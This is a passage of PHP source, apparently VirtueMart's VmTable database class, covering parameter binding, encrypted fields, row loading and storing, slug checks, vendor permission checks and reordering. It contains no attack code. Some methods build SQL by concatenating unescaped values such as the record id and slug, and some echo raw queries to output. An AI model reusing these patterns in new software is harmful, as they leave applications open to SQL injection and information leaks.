$this->_tablePreFix = $prefix . '.'; } public function emptyCache(){ self::$_cache = array(); } /** * This function defines a database field as parameter field, which means that some values get injected there * As delimiters are used | for the pair and = for key, value * * @author Max Milbers * @param string $paramsFieldName * @param string $varsToPushParam * @param boolean $overwrite */ function setParameterable($paramsFieldName, $varsToPushParam, $overwrite = false) { //if($this->_xParams===0) $this->_xParams = $paramsFieldName; if ($overwrite) { $this->_varsToPushParam = $varsToPushParam; } else { $this->_varsToPushParam = array_merge((array)$varsToPushParam, (array)$this->_varsToPushParam); } foreach ($this->_varsToPushParam as $k => $v) { if (!isset($this->$k)) $this->$k = $v[0]; } //vmdebug('setParameterable called '.$this->_xParams,$this->_varsToPushParam); } /** * This function must be * Takes the bounded values at obj of the field $xParams * and adds them as attributs of obj * @param $obj * @param $xParams * @param $varsToPushParam */ static function bindParameterable(&$obj, $xParams, $varsToPushParam) { if(empty($varsToPushParam)) return; //$paramFields = $obj->$xParams; //vmdebug('$obj->_xParams '.$xParams.' $varsToPushParam ',$varsToPushParam); if(is_object($obj)){ if (!empty($obj->$xParams)) { $params = explode('|', $obj->$xParams); foreach ($params as $item) { $item = explode('=', $item); $key = $item[0]; unset($item[0]); $item = implode('=', $item); if (!empty($item) && isset($varsToPushParam[$key][1])) { $obj->$key = json_decode($item); } } } else { if (empty($xParams)) { //vmError('There are bindParameterables, but $xParams is empty, this is a programmers error ',$varsToPushParam); vmdebug('There are bindParameterables, but $xParams is empty, this is a programmers error ', $obj); vmTrace('$xParams is empty'); } if(!isset($obj->$xParams)){ //vmError('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error '.$xParams); vmdebug('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error ',$xParams , $obj); vmTrace('$obj->$xParams is empty'); } } foreach ($varsToPushParam as $key => $v) { if (!isset($obj->$key)) { $obj->$key = $v[0]; } } } else { if (!empty($obj[$xParams])) { $params = explode('|', $obj[$xParams]); foreach ($params as $item) { $item = explode('=', $item); $key = $item[0]; unset($item[0]); $item = implode('=', $item); if (!empty($item) && isset($varsToPushParam[$key][1])) { $obj[$key] = json_decode($item); } } } else { if (empty($xParams)) { //vmError('There are bindParameterables, but $xParams is empty, this is a programmers error ',$varsToPushParam); vmdebug('There are bindParameterables, but $xParams is empty, this is a programmers error ', $obj); vmTrace('$xParams is empty'); } if(!isset($obj[$xParams])){ //vmError('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error '.$xParams); vmdebug('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error ',$xParams , $obj); vmTrace('$obj->$xParams is empty'); } } foreach ($varsToPushParam as $key => $v) { if (!isset($obj[$key])) { $obj[$key] = $v[0]; } } } } /** * Sets fields encrypted * @author Max Milbers * @param $fieldNames */ public function setCryptedFields($fieldNames){ if(!$fieldNames){ vmTrace('setEncrytped fields false not catched'); return; } if(!is_array($fieldNames)) $fieldNames = array($fieldNames); if(isset($fieldNames[$this->_pkey])){ unset($fieldNames[$this->_pkey]); } $this->_cryptedFields = $fieldNames; } /** * */ public function getCryptedFields(){ return $this->_cryptedFields; } /** * Gives Back the columns of the current table, sets the properties on the table. * * @author Max Milbers * @param int $typeKey use "Field" to get the effect of getTableColumns * @param int $typeValue use "Type" to get the effect of getTableColumns * @param bool $properties disable setting of columns as table properties */ public function showFullColumns($typeKey=0,$typeValue=0,$properties=true){ $hash = 'SFL'.$this->_tbl.$typeKey.$typeValue; if (!isset(self::$_cache[$hash])) { $this->_db->setQuery('SHOW FULL COLUMNS FROM `'.$this->_tbl.'` ') ; self::$_cache[$hash] = $this->_db->loadAssocList(); } if ($properties and count(self::$_cache[$hash]) > 0) { foreach (self::$_cache[$hash] as $key => $_f) { $_fieldlist[$_f['Field']] = $_f['Default']; } $this->setProperties($_fieldlist); } if ($typeKey or $typeValue){ foreach (self::$_cache[$hash] as $field){ if(empty($typeValue)){ $value = $field; } else { $value = $field[$typeValue]; } if($typeKey){ $result[$field[$typeKey]] = $value; } else { $result[] = $value; } } } else { $result = self::$_cache[$hash]; } return $result; } public function loadFields(){ return $this->showFullColumns(); } function loadFieldValues($array=true){ $tmp = get_object_vars($this); if($array){ $return = array(); foreach ($tmp as $k => $v){ // Do not process internal variables if ('_' != substr($k, 0, 1)){ $return[$k] = $v; } } } else { $return = new stdClass(); foreach ($tmp as $k => $v){ // Do not process internal variables if ('_' != substr($k, 0, 1)){ $return->$k = $v; } } } return $return; } function checkDataContainsTableFields($from, $ignore = array()) { if (empty($from)) return false; $fromArray = is_array($from); $fromObject = is_object($from); if (!$fromArray && !$fromObject) { vmError(get_class($this) . '::check if data contains table fields failed. Invalid from argument
      ' . print_r($from, 1) . '
      '); return false; } if (!is_array($ignore)) { $ignore = explode(' ', $ignore); } foreach ($this->getProperties() as $k => $v) { // internal attributes of an object are ignored if (!in_array($k, $ignore)) { if ($fromArray && isset($from[$k])) { return true; } else if ($fromObject && isset($from->$k)) { return true; } } } vmdebug('VmTable developer notice, table ' . get_class($this) . ' means that there is no data to store. When you experience that something does not get stored as expected, please write in the forum.virtuemart.net'); return false; } /** * Function setting the loggable data hack procted * In case you want to override the value for administrators, just set the created_on to "0000-00-00 00:00:00" * * @author Max Milbers */ function setLoggableFieldsForStore() { if ($this->_loggable) { // set default values always used //We store in UTC time, dont touch it! $date = JFactory::getDate(); $today = $date->toSQL(); //vmdebug('my today ',$date); $user = JFactory::getUser(); $pkey = $this->_pkey; //Lets check if the user is admin or the mainvendor $admin = JFactory::getUser()->authorise('core.admin', 'com_virtuemart'); $adminSessionID = JFactory::getSession()->get('vmAdminID'); if ($admin || JFactory::getUser($adminSessionID)->authorise('core.admin', 'com_virtuemart')) { // vmdebug('setLoggableFieldsForStore ', $this->created_on); if (empty($this->$pkey) and empty($this->created_on)) { $this->created_on = $today; } else if (empty($this->created_on)) { //If nothing is there, dont update it unset($this->created_on); } else //ADDED BY P2 PETER if ($this->created_on == "0000-00-00 00:00:00") { $this->created_on = $today; $this->created_by = $user->id; } //END ADD if (empty($this->$pkey) and empty($this->created_by)) { $this->created_by = $user->id; } else if (empty($this->created_by)) { //If nothing is there, dont update it unset($this->created_by); } } else { if (empty($this->$pkey)) { $this->created_on = $today; $this->created_by = $user->id; } else { //If nothing is there, dont update it unset($this->created_on); unset($this->created_by); } } $this->modified_on = $today; $this->modified_by = $user->id; } if (isset($this->locked_on)) { //Check if user is allowed to store, then disable or prevent storing $this->locked_on = 0; } } /** * Technic to inject params as table attributes * @author Max Milbers * $TableJoins array of table names to add and left join to find ID */ function load($oid = null, $overWriteLoadName = 0, $andWhere = 0, $tableJoins = array(), $joinKey = 0) { if( $overWriteLoadName!==0 ){ $k = $overWriteLoadName; } else { $k = $this->_pkey; } if ($oid !== null) { $this->$k = $oid; } else { $oid = $this->$k; } if ($oid === null) { $oid = 0; } else if (empty($oid)) { if (!empty($this->_xParams)) { foreach ($this->_varsToPushParam as $key => $v) { if (!isset($this->$key)) { $this->$key = $v[0]; } } } return $this; } //Version load the tables using JOIN if ($this->_translatable) { $mainTable = $this->_tbl; $langTable = $this->_tbl . '_' . $this->_langTag; $select = 'SELECT `' . $mainTable . '`.* ,`' . $langTable . '`.* '; $from = ' FROM `' . $mainTable . '` INNER JOIN `' . $langTable . '` using (`' . $this->_tbl_key . '`)'; } else { $mainTable = $this->_tbl; $select = 'SELECT `' . $mainTable . '`.* '; $from = ' FROM `' . $mainTable . '` '; } if (count($tableJoins)) { if (!$joinKey) $joinKey = $this->_tbl_key; foreach ($tableJoins as $tableId => $table) { $select .= ',`' . $table . '`.`' . $tableId . '` '; $from .= ' LEFT JOIN `' . $table . '` on `' . $table . '`.`' . $joinKey . '`=`' . $mainTable . '`.`' . $joinKey . '`'; } } //the cast to int here destroyed the query for keys like virtuemart_userinfo_id, so no cast on $oid // $query = $select.$from.' WHERE '. $mainTable .'.`'.$this->_tbl_key.'` = "'.$oid.'"'; if ($andWhere === 0) $andWhere = ''; $query = $select . $from . ' WHERE `' . $mainTable . '`.`' . $k . '` = "' . $oid . '" ' . $andWhere; $hashVarsToPush = ''; if (!empty($this->_xParams)) { $hashVarsToPush = serialize($this->_varsToPushParam); } $hash = md5($oid. $select . $k . $andWhere . $hashVarsToPush); if (isset (self::$_cache['l'][$hash])) { //vmdebug('Resturn cached '.$this->_pkey.' '.$this->_slugAutoName.' '.$oid); $this->bind(self::$_cache['l'][$hash]); return $this; } else { //vmdebug('loading '.$this->_pkey.' '.$this->_slugAutoName.' '.$oid); } $db = $this->getDBO(); $db->setQuery($query); $result = $db->loadAssoc(); if ($result) { $this->bind($result); if (!empty($this->_xParams)) { //Maybe better to use for $this an & self::bindParameterable($this, $this->_xParams, $this->_varsToPushParam); } if (count($tableJoins)) { foreach ($tableJoins as $tableId => $table) { if (isset($result[$tableId])) $this->$tableId = $result[$tableId]; } } } else { $params = JComponentHelper::getParams('com_languages'); $defaultLang = $params->get('site', 'en-GB');//use default joomla $defaultLang= strtolower(strtr($defaultLang,'-','_')); if($defaultLang!=$this->_langTag and Vmconfig::$langCount>1){ $this->_ltmp = $this->_langTag; $this->_langTag = $defaultLang; $this->load($oid, $overWriteLoadName, $andWhere, $tableJoins, $joinKey) ; } } if($this->_cryptedFields){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->modified_on)){ $timestamp = strtotime($this->modified_on); $date = $timestamp; } else { $date = 0; } if($this->_cryptedFields){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->modified_on)){ $timestamp = strtotime($this->modified_on); $date = $timestamp; } else { $date = 0; } foreach($this->_cryptedFields as $field){ if(isset($this->$field)){ $this->$field = vmCrypt::decrypt($this->$field,$date); } } } } if($this->_ltmp){ $this->_langTag = $this->_ltmp; $this->_ltmp = false; } self::$_cache['l'][$hash] = $this->loadFieldValues(false); return $this; } /** * Technic to inject params as table attributes * @author Max Milbers */ function store($updateNulls = false) { $this->setLoggableFieldsForStore(); if($this->_cryptedFields){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } vmdebug('my crytped fields in store '.get_class($this),$this->_cryptedFields); foreach($this->_cryptedFields as $field){ if(isset($this->$field)){ $this->$field = vmCrypt::encrypt($this->$field); } else { vmdebug('Store vmtable empty property for '.$field); } } } $this->storeParams(); return parent::store($updateNulls); } function storeParams() { if (!empty($this->_xParams)) { $paramFieldName = $this->_xParams; $this->$paramFieldName = ''; foreach ($this->_varsToPushParam as $key => $v) { if (isset($this->$key)) { $this->$paramFieldName .= $key . '=' . json_encode($this->$key) . '|'; } else { $this->$paramFieldName .= $key . '=' . json_encode($v[0]) . '|'; } unset($this->$key); } } return true; } function checkCreateUnique($tbl_name, $name) { $i = 0; while ($i < 20) { $tbl_key = $this->_tbl_key; $q = 'SELECT `' . $name . '` FROM `' . $tbl_name . '` WHERE `' . $name . '` = "' . $this->$name . '" AND `' . $this->_tbl_key . '`!=' . $this->$tbl_key; $this->_db->setQuery($q); $existingSlugName = $this->_db->loadResult(); if (!empty($existingSlugName)) { if($posNbr = strrpos($this->$name,'-')){ $existingNbr = substr($this->$name,$posNbr+1); if(is_numeric($existingNbr)){ $existingNbr++; if($i>10){ $existingNbr = $existingNbr + rand (1, 9); } $this->$name = substr($this->$name,0,$posNbr+1) . $existingNbr; } else{ $this->$name = $this->$name . '-1'; } } else { $this->$name = $this->$name . '-1'; } } else { return true; } $i++; } return false; } /** * @author Max Milbers * @param */ function check() { if (!empty($this->_slugAutoName)) { $slugAutoName = $this->_slugAutoName; $slugName = $this->_slugName; if (in_array($slugAutoName, $this->_translatableFields)) { $checkTable = $this->_tbl . '_' . VmConfig::$vmlang; } else { $checkTable = $this->_tbl; } if (empty($this->$slugName)) { // vmdebug('table check use _slugAutoName '.$slugAutoName.' '.$slugName); if (!empty($this->$slugAutoName)) { $this->$slugName = $this->$slugAutoName; } else { vmError('VmTable ' . $checkTable . ' Check not passed. Neither slug nor obligatory value at ' . $slugAutoName . ' for auto slug creation is given'); return false; } } //if (JVM_VERSION === 1) $this->$slugName = JFilterOutput::stringURLSafe($this->$slugName); //else $this->$slugName = JApplication::stringURLSafe($this->$slugName); //pro+#'!"§$%&/()=?duct-w-| ||cu|st|omfield-|str //vmdebug('my slugName '.$slugName,$this->$slugName); $this->$slugName = str_replace('-', ' ', $this->$slugName); //$config =& JFactory::getConfig(); //$transliterate = $config->get('unicodeslugs'); $unicodeslugs = VmConfig::get('transliterateSlugs',false); if($unicodeslugs){ $lang = JFactory::getLanguage(); $this->$slugName = $lang->transliterate($this->$slugName); } // Trim white spaces at beginning and end of alias and make lowercase $this->$slugName = trim(JString::strtolower($this->$slugName)); $this->$slugName = str_replace(array('`','´',"'"),'',$this->$slugName); $this->$slugName = vRequest::filterUword($this->$slugName,'-,_,.,|','-'); while(strpos($this->$slugName,'--')){ $this->$slugName = str_replace('--','-',$this->$slugName); } // Trim dashes at beginning and end of alias $this->$slugName = trim($this->$slugName, '-'); if($unicodeslugs)$this->$slugName = rawurlencode($this->$slugName); $valid = $this->checkCreateUnique($checkTable, $slugName); vmdebug('my Final slugName '.$slugName,$this->slugName); if (!$valid) { return false; } } foreach ($this->_obkeys as $obkeys => $error) { if (empty($this->$obkeys)) { if (empty($error)) { $error = 'Serious error cant save ' . $this->_tbl . ' without ' . $obkeys; } else { // $error = get_class($this).' '.vmText::_($error); $error = get_class($this) . ' ' . $error; } $this->setError($error); vmError($error); return false; } } if ($this->_unique) { if (empty($this->_db)) $this->_db = JFactory::getDBO(); foreach ($this->_unique_name as $obkeys => $error) { if (empty($this->$obkeys)) { // vmError(vmText::sprintf('COM_VIRTUEMART_NON_UNIQUE_KEY',$this->$obkeys)); $this->setError($error); vmError('Non unique ' . $this->_unique_name . ' ' . $error); return false; } else { $valid = $this->checkCreateUnique($this->_tbl, $obkeys); if (!$valid) { return false; } } } } if (isset($this->virtuemart_vendor_id)) { $multix = Vmconfig::get('multix', 'none'); //Lets check if the user is admin or the mainvendor $virtuemart_vendor_id = false; if ($multix == 'none' and get_class($this) !== 'TableVmusers') { $this->virtuemart_vendor_id = 1; return true; } else { $loggedVendorId = Permissions::getInstance()->isSuperVendor(); $user = JFactory::getUser(); $admin = $user->authorise('core.admin','com_virtuemart'); $tbl_key = $this->_tbl_key; $className = get_class($this); if (strpos($this->_tbl,'virtuemart_vmusers')===FALSE) { $q = 'SELECT `virtuemart_vendor_id` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . '`="' . $this->$tbl_key . '" '; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); $virtuemart_vendor_id = $this->_db->loadResult(); } else $virtuemart_vendor_id = self::$_cache[md5($q)]; } else { $q = 'SELECT `virtuemart_vendor_id`,`user_is_vendor` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . '`="' . $this->$tbl_key . '" '; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); $vmuser = $this->_db->loadRow(); } else $vmuser = self::$_cache[md5($q)]; if ($vmuser and count($vmuser) === 2) { $virtuemart_vendor_id = $vmuser[0]; $user_is_vendor = $vmuser[1]; if ($multix == 'none') { if (empty($user_is_vendor)) { $this->virtuemart_vendor_id = 0; } else { $this->virtuemart_vendor_id = 1; } return true; } else { if (!$admin) { $this->virtuemart_vendor_id = $loggedVendorId; return true; } } } else { //New User //vmInfo('We run in multivendor mode and you did not set any vendor for '.$className.' and '.$this->_tbl);//, Set to mainvendor '.$this->virtuemart_vendor_id } } if (!$admin and !empty($virtuemart_vendor_id) and !empty($loggedVendorId) and $loggedVendorId != $virtuemart_vendor_id) { //vmWarn('COM_VIRTUEMART_NOT_SAME_VENDOR',$loggedVendorId,$virtuemart_vendor_id //vmWarn('Stop try to hack this store, you got logged'); vmdebug('Hacking attempt stopped, logged vendor ' . $loggedVendorId . ' but data belongs to ' . $virtuemart_vendor_id); return false; } else if (!$admin) { if ($virtuemart_vendor_id) { $this->virtuemart_vendor_id = $virtuemart_vendor_id; vmdebug('Non admin is storing using loaded vendor_id'); } else { //No id is stored, even users are allowed to use for the storage and vendorId, no change } } else { //Admins are allowed to do anything. We just trhow some messages if (!empty($virtuemart_vendor_id) and $loggedVendorId != $virtuemart_vendor_id) { vmdebug('Admin with vendor id ' . $loggedVendorId . ' is using for storing vendor id ' . $this->virtuemart_vendor_id); } else if (empty($virtuemart_vendor_id)) { if(strpos($this->_tbl,'virtuemart_vendors')===FALSE and strpos($this->_tbl,'virtuemart_vmusers')===FALSE){ vmInfo('We run in multivendor mode and you did not set any vendor for '.$className.' and '.$this->_tbl); } } } } } return true; } /** * As shortcat, Important the & MUST be there, even in php5.3 * * @author Max Milbers * @param array/obj $data input data as assoc array or obj * @param boolean $preload You can preload the data here too preserve not updated data * @return array/obj $data the updated data */ public function bindChecknStore(&$data, $preload = false) { $tblKey = $this->_tbl_key; $ok = true; if ($this->_translatable) { if (!class_exists('VmTableData')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php'); $db = JFactory::getDBO(); $langTable = new VmTableData($this->_tbl_lang, $tblKey, $db); $langTable->setPrimaryKey($tblKey); $langData = array(); $langObKeys = array(); $langUniqueKeys = array(); if (is_object($data)) { foreach ($this->_translatableFields as $name) { if (isset($data->$name)) { //We directly store language stuff "escaped" $langData[$name] = htmlentities($data->$name, ENT_QUOTES, "UTF-8"); } else { // $langData[$name] = ''; } unset($this->$name); if (!empty($this->_unique_name[$name])) { $langUniqueKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_unique_name[$name]); $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } if (!empty($this->_obkeys[$name])) { $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } } // $langTable->$tblKey = $data->$tblKey; } else { foreach ($this->_translatableFields as $name) { if (isset($data[$name])) { //$langData[$name] = $data[$name]; $langData[$name] = htmlentities($data[$name], ENT_QUOTES, "UTF-8"); } else { // $langData[$name] = ''; } unset($this->$name); if (!empty($this->_unique_name[$name])) { $langUniqueKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_unique_name[$name]); $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } if (!empty($this->_obkeys[$name])) { $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } } // $langTable->$tblKey = $data[$tblKey]; } $langTable->_unique_name = $langUniqueKeys; $langTable->_obkeys = $langObKeys; $langTable->_slugAutoName = $this->_slugAutoName; unset($this->_slugAutoName); $langTable->_slugName = 'slug'; unset($this->_slugName); $langTable->setProperties($langData); $langTable->_translatable = false; //We must check the langtable BEFORE we store the normal table, cause the langtable is often defining if there are enough data to store it (for exmple the name) if ($ok) { //vmdebug('my langtable before bind',$langTable->id); if (!$langTable->bind($data)) { $ok = false; $msg = 'bind'; // vmdebug('Problem in bind '.get_class($this).' '.$this->_db->getErrorMsg()); vmdebug('Problem in bind ' . get_class($this) . ' '); } } if ($ok) { if (!$langTable->check()) { $ok = false; vmdebug('Check returned false ' . get_class($langTable) . ' ' . $this->_tbl . ' ' . $langTable->_db->getErrorMsg()); } } if ($ok) { $this->bindChecknStoreNoLang($data, $preload); $langTable->$tblKey = !empty($this->$tblKey) ? $this->$tblKey : 0; //vmdebug('bindChecknStoreNoLang my $tblKey '.$tblKey.' '.$langTable->$tblKey); if ($ok and $preload) { if (!empty($langTable->$tblKey)) { $id = $langTable->$tblKey; if (!$langTable->load($id)) { $ok = false; vmdebug('Preloading of language table failed, no id given, cannot store ' . $this->_tbl); } } else { if ($ok) { if (!$langTable->bind($data)) { $ok = false; vmdebug('Problem in bind ' . get_class($this) . ' '); } } if ($ok) { if (!$langTable->check()) { $ok = false; vmdebug('Check returned false ' . get_class($langTable) . ' ' . $this->_tbl . ' ' . $langTable->_db->getErrorMsg()); } } } } if ($ok) { if (!$langTable->store()) { $ok = false; // $msg .= ' store'; vmdebug('Problem in store with langtable ' . get_class($langTable) . ' with ' . $tblKey . ' = ' . $this->$tblKey . ' ' . $langTable->_db->getErrorMsg()); } } } } else { if (!$this->bindChecknStoreNoLang($data, $preload)) { $ok = false; } } return $ok; } function bindChecknStoreNoLang(&$data, $preload = false) { $tblKey = $this->_tbl_key; if ($preload) { if (is_object($data)) { if (!empty($data->$tblKey)) { $this->load($data->$tblKey); } } else { if (!empty($data[$tblKey])) { $this->load($data[$tblKey]); } } if ($this->_translatable) { foreach ($this->_translatableFields as $name) { unset($this->$name); } } //vmdebug('bindChecknStoreNoLang language unloaded, why?'); } $ok = true; $msg = ''; if (!$this->bind($data)) { $ok = false; $msg = 'bind'; // vmdebug('Problem in bind '.get_class($this).' '.$this->_db->getErrorMsg()); vmdebug('Problem in bind ' . get_class($this) . ' '); } if ($ok) { if (!$this->checkDataContainsTableFields($data)) { $ok = false; // $msg .= ' developer notice:: checkDataContainsTableFields'; } } if ($ok) { if (!$this->check()) { $ok = false; $msg .= ' check'; vmdebug('Check no lang returned false ' . get_class($this) . ' ' . $this->_db->getErrorMsg()); return false; } } if ($ok) { if (!$this->store($this->_updateNulls)) { $ok = false; $msg .= ' store'; vmdebug('Problem in store ' . get_class($this) . ' ' . $this->_db->getErrorMsg()); return false; } } if (is_object($data)) { $data->$tblKey = !empty($this->$tblKey) ? $this->$tblKey : 0; } else { $data[$tblKey] = !empty($this->$tblKey) ? $this->$tblKey : 0; } // vmdebug('bindChecknStore '.get_class($this).' '.$this->_db->getErrorMsg()); //This should return $ok and not the data, because it is already updated due use of reference return $data; } /** * Description * will make sure that all items in the table are not using the same ordering values * @author stAn * @access public * $where -> limits the categories if a child category of another one */ function fixOrdering($where = '') { $where = $where ? ' WHERE ' . $where : ''; // fast check for duplicities $q = 'SELECT `' . $this->_tbl_key . '` FROM `' . $this->_tbl . '` GROUP BY `' . $this->_orderingKey . '` HAVING COUNT(*) >= 2 ' . $where . ' LIMIT 1'; $this->_db->setQuery($q); $res = $this->_db->loadAssocList(); if (empty($res)) return true; $q = ' SELECT `' . $this->_tbl_key . '` FROM `' . $this->_tbl . '` ' . $where . ' ORDER BY `' . $this->_orderingKey . '` ASC'; $this->_db->setQuery($q, 0, 999999); $res = $this->_db->loadAssocList(); $e = $this->_db->getErrorMsg(); if (!empty($e)) { vmError(get_class($this) . $e); } echo $q . "
      \n"; // no data in the table if (empty($res)) return true; // we will set ordering to 5,10,15,20,25 so there is enough space in between for manual editing $start = 5; // it is not really optimized to load full table into array, a while loop would be better especially when having thousands of categories foreach ($res as $row) { $q = 'UPDATE `' . $this->_tbl . '` SET `' . $this->_orderingKey . '` = ' . (int)$start . ' WHERE `' . $this->_tbl_key . '`= ' . $row[$this->_tbl_key] . ' LIMIT 1'; $this->_db->setQuery($q); $r = $this->_db->execute($q); $start = $start + 5; } } /** * Description * * @author Joomla Team, Max Milbers * @access public * @param $dirn * @param $where */ function move($dirn, $where = '', $orderingkey = 0) { // for some reason this function is not used from categories $this->fixOrdering(); $k = $this->_tbl_key; // problem here was that $this->$k returned (0) $cid = vRequest::getInt($this->_pkeyForm); if (!empty($cid) && (is_array($cid))) { $cid = reset($cid); } else { // either we fix custom fields or fix it here: $cid = vRequest::getVar('virtuemart_custom_id'); if (!empty($cid) && (is_array($cid))) { $cid = reset($cid); } else { vmError(get_class($this) . ' is missing cid information !'); return false; } } // stAn: if somebody knows how to get current `ordering` of selected cid (i.e. virtuemart_userinfo_id or virtuemart_category_id from defined vars, you can review the code below) $q = "SELECT `" . $this->_orderingKey . '` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . "` = '" . (int)$cid . "' limit 0,1"; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); $c_order = $this->_db->loadResult(); // current ordering value of cid } else { $c_order = self::$_cache[md5($q)]; } $this->$orderingkey = $c_order; $e = $this->_db->getErrorMsg(); if (!empty($e)) { vmError(get_class($this) . $e); } // stAn addition: $where .= ' `' . $this->_tbl_key . '` <> ' . (int)$cid . ' '; // explanation: // select one above or under which is not cid and update/set it's ordering of the original cid // could be done with one complex query... but this is more straitforward and the speed is not that much needed in this one if (!empty($orderingkey)) $this->_orderingKey = $orderingkey; if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) { vmError(get_class($this) . ' does not support ordering'); return false; } $k = $this->_tbl_key; // virtuemart_userfield_id column name $orderingKey = $this->_orderingKey; // ordering column name $sql = 'SELECT `' . $this->_tbl_key . '`, `' . $this->_orderingKey . '` FROM ' . $this->_tbl; if ($dirn < 0) { $sql .= ' WHERE `' . $this->_orderingKey . '` <= ' . (int)$c_order; $sql .= ($where ? ' AND ' . $where : ''); $sql .= ' ORDER BY `' . $this->_orderingKey . '` DESC'; } else if ($dirn > 0) { $sql .= ' WHERE `' . $this->_orderingKey . '` >= ' . (int)$c_order; $sql .= ($where ? ' AND ' . $where : ''); $sql .= ' ORDER BY `' . $this->_orderingKey . '`'; } else { $sql .= ' WHERE `' . $this->_orderingKey . '` = ' . (int)$c_order; $sql .= ($where ? ' AND ' . $where : ''); $sql .= ' ORDER BY `' . $this->_orderingKey . '`'; } if (!isset(self::$_cache[md5($sql)])) { $this->_db->setQuery($sql, 0, 1); $row = null; $row = $this->_db->loadObject(); } else $row = self::$_cache[md5($sql)]; if (isset($row)) { // ok, we have a problem here - previous or next item has the same ordering as the current one // we need to fix the ordering be reordering it all if ((int)$row->$orderingKey == $c_order) { // if we fix this while loading the ordering, it will slow down FE } // update the next or previous to have the same ordering as the selected $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = ' . (int)$c_order . ' WHERE ' . $this->_tbl_key . ' = ' . (int)$row->$k . ' LIMIT 1'; $this->_db->setQuery($query); echo "\n" . $query . '
      '; if (!$this->_db->execute()) { $err = $this->_db->getErrorMsg(); JError::raiseError(500, get_class($this) . ':: move isset row $row->$k' . $err); } // update the currently selected to have the same ordering as the next or previous $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = ' . (int)$row->$orderingKey . ' WHERE ' . $this->_tbl_key . ' = "' . (int)$cid . '" LIMIT 1'; $this->_db->setQuery($query); //echo $query.'
      '; die(); if (!$this->_db->execute()) { $err = $this->_db->getErrorMsg(); JError::raiseError(500, get_class($this) . ':: move isset row $row->$k' . $err); } // stAn, what for is this? $this->ordering = $row->$orderingKey; } else { // stAn: why should we update the same line with the same information when no next or previous found (?) $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = ' . (int)$this->$orderingKey . ' WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '" LIMIT 1'; $this->_db->setQuery($query); if (!$this->_db->execute()) { $err = $this->_db->getErrorMsg(); JError::raiseError(500, get_class($this) . ':: move update $this->$k' . $err); } } return true; } /** * Returns the ordering value to place a new item last in its group * * @access public * @param string query WHERE clause for selecting MAX(ordering). */ function getNextOrder($where = '', $orderingkey = 0) { $where = $this->_db->escape($where); $orderingkey = $this->_db->escape($orderingkey); if (!empty($orderingkey)) $this->_orderingKey = $orderingkey; if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) { vmError(get_class($this) . ' does not support ordering'); return false; } $query = 'SELECT MAX(`' . $this->_orderingKey . '`)' . ' FROM ' . $this->_tbl . ($where ? ' WHERE ' . $where : ''); if (!isset(self::$_cache[md5($query)])) { $this->_db->setQuery($query); $maxord = $this->_db->loadResult(); } else $maxord = self::$_cache[md5($query)]; if ($this->_db->getErrorNum()) { vmError(get_class($this) . ' getNextOrder ' . $this->_db->getErrorMsg()); return false; } return $maxord + 1; } /** * Compacts the ordering sequence of the selected records * * @access public * @param string Additional where query to limit ordering to a particular subset of records */ function reorder($where = '', $orderingkey = 0) { $where = $this->_db->escape($where); $orderingkey = $this->_db->escape($orderingkey); if (!empty($orderingkey)) $this->_orderingKey = $orderingkey; $k = $this->_tbl_key; if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) { vmError(get_class($this) . ' does not support ordering'); return false; } if ($this->_tbl == '#__content_frontpage') { $order2 = ", content_id DESC"; } else { $order2 = ""; } $query = 'SELECT ' . $this->_tbl_key . ', ' . $this->_orderingKey . ' FROM ' . $this->_tbl . ' WHERE `' . $this->_orderingKey . '` >= 0' . ($where ? ' AND ' . $where : '') . ' ORDER BY `' . $this->_orderingKey . '` ' . $order2; $this->_db->setQuery($query); if (!($orders = $this->_db->loadObjectList())) { vmError(get_class($this) . ' reorder ' . $this->_db->getErrorMsg()); return false; } $orderingKey = $this->_orderingKey; // compact the ordering numbers for ($i = 0, $n = count($orders); $i < $n; $i++) { if ($orders[$i]->$orderingKey >= 0) { if ($orders[$i]->$orderingKey != $i + 1) { $orders[$i]->$orderingKey = $i + 1; $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = "' . $this->_db->escape($orders[$i]->$orderingKey) . '" WHERE ' . $k . ' = "' . 